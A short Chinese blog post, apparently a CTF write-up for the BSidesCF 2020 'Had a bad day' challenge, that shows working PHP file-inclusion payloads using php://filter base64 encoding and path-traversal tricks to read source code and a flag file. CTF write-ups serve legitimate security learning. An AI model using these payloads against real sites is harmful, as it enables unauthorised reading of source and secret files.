[BSidesCF 2020]Had a bad day 1

先上payload:

http://48579647-d609-4ef8-b85f-bafbc3f14b9c.node3.buuoj.cn/index.php?category=php://filter/convert.base64-encode/resource=meowers/../flag

http://48579647-d609-4ef8-b85f-bafbc3f14b9c.node3.buuoj.cn/index.php?category=php://filter/convert.base64-encode/index/resource=flag

打开页面发现有来个按钮可疑,按一下试试;

 

 

 

 

 

 

很明显 category 这个参数是接收文件名的;由此联想到文件包含,先试试读取源码吧

构造payload: ?category=php://filter/convert.base64-encode/resource=index.php

 

 

发现报错信息  /resource=index.php.php

由此猜测 后端文件源码 $file.'.php'

优化payload:      也就是把 .php去掉

?category=php://filter/convert.base64-encode/resource=index

 

 

成功读取源码 解密看下php代码,html的不看了:

 

 

构造payload俩种方法;

一:http://48579647-d609-4ef8-b85f-bafbc3f14b9c.node3.buuoj.cn/index.php?category=php://filter/convert.base64-encode/resource=meowers/../flag

正是因为 !==  ,所以有了 index/../flag 绕过,构造payload的时候, index和meowers、woofers这三个等效替换

二:http://48579647-d609-4ef8-b85f-bafbc3f14b9c.node3.buuoj.cn/index.php?category=php://filter/convert.base64-encode/index/resource=flag

使用嵌套绕过也可以

 

 

 

 

 

posted @ 2021-06-26 22:45  友好邻居  阅读(96)  评论(0编辑  收藏  举报